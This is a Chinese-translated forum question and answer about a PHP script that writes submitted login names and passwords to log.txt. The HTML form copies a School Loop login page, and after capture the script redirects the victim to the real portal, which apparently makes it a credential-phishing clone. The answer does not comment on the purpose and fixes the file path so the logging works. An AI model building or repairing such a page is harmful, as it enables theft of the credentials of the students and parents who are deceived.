从HTML输入中写入.txt文件

时间:2015-02-06 18:15:04

标签: php html

我试图从我的个人网站获取用户名和密码以保存到.txt文件。首先,我需要弄清楚我的.php脚本有什么问题,因为它没有写入文件。

<?php
if(isset($_POST['login_name']) && isset($_POST['password'])) {
    $data = $_POST['login_name'] . '-' . $_POST['password'] . "\n";
    $ret = file_put_contents('/log.txt', $data, FILE_APPEND | LOCK_EX);
    if($ret === false) {
        header("Location: /portal/guest_home?etarget=login_form");
        die();
    }
    else {
        echo "$ret bytes written to file";
        header("Location: /portal/guest_home?etarget=login_form");
        die();
    }
}
else {
   header("Location: /portal/guest_home?etarget=login_form");
   die();
}

?>

HTML代码的登录部分

<div class="shadow_round" style="width: 565px;">
<table border="0" cellpadding="0" cellspacing="0" width="100%"   >
    <tr>
        <td class="round-left gradient_blue padding_20">
            <a href="/"><img src="https://cdn.schoolloop.com/1501091742/img/logo_sl_login.png" width="152" height="60" alt="School Loop" /></a>
        </td>
        <td class="padding_20 round-right" style="background: #fff; width: 100%">   
<form name="form" id="form" action="/login.php" method="POST" autocomplete="off" name="form">
    <table width="100%" cellpadding='2' cellspacing='0' id="login_form" style="margin-right: 10px;">
        <tr>
            <td nowrap>
                <a href= "/portal/setLanguage?d=x&language=Spanish&return_url=1423243969895" class="link_language">Español</a><a href= "/portal/setLanguage?d=x&language=Chinese&return_url=1423243969895" class="link_language">&#20013;&#25991;</a>
            </td>
        </tr>
        <tr>
            <td>
                <div class="form_label_above" nowrap>Login Name:</div>
                    <input  class='Text'   type="text" name=login_name value="">
            </td>
        </tr>
        <tr>
            <td width="100%">
                <div class="form_label_above" nowrap>Password:</div>
                    <input  class='Text'   type='password' name=password value="">
                <div class="content_spacing_sm"></div>
            </td>
        </tr>
        <tr>
            <td>
                <a href= "javascript:document.form.event_override.value='login';document.form.submit();" class="btn-action-highlight-lg">Login</a>
                <a class="btn-standard-lg" href="/portal/register?d=x&return_url=1423243969895">Register Now</a>
                <div class="content_spacing"></div>
            </td>
        </tr>
        <tr>
            <td>
                <a href="/portal/forgot_password?d=x&return_url=1423243969895">Forgot password?</a>
                <br>
                <br>
                <a class="small" href="/portal/login">Secure Login</a>
            </td>
        </tr>
    </table>
    <input name="event.login" src="https://cdn.schoolloop.com/1501091742/img/spacer.gif" type="image">
    <input type="hidden" name="form_data_id" id="form_data_id" value="13063990464484724"><input type="hidden" name="reverse" id="reverse" value=""><input type="hidden" name="sort" id="sort" value=""><input type="hidden" name="login_form_reverse" id="login_form_reverse" value=""><input type="hidden" name="login_form_page_index" id="login_form_page_index" value=""><input type="hidden" name="login_form_page_item_count" id="login_form_page_item_count" value=""><input type="hidden" name="event_override" id="event_override" value=""><input type="hidden" name="login_form_sort" id="login_form_sort" value=""><input type="hidden" name="return_url" id="return_url" value=""><input type="hidden" name="forward" id="forward" value=""><input type="hidden" name="redirect" id="redirect" value=""><input type="hidden" name="login_form_letter" id="login_form_letter" value=""><input type="hidden" name="login_form_filter" id="login_form_filter" value="">
</form>

1 个答案:

答案 0 :(得分:0)

您的脚本未保存,因为您可能设置了要保存的错误文件。变化

$ret = file_put_contents('/log.txt', $data, FILE_APPEND | LOCK_EX);

$ret = file_put_contents('./log.txt', $data, FILE_APPEND | LOCK_EX);

将文件保存在当前路径中(脚本所在的位置。请确保您具有该目录的写入权限)。 file_put_contents()需要一个保存到的路径,使用'/log.txt'将该文件保存到OS文件系统的根目录,而不是Webserver document_root。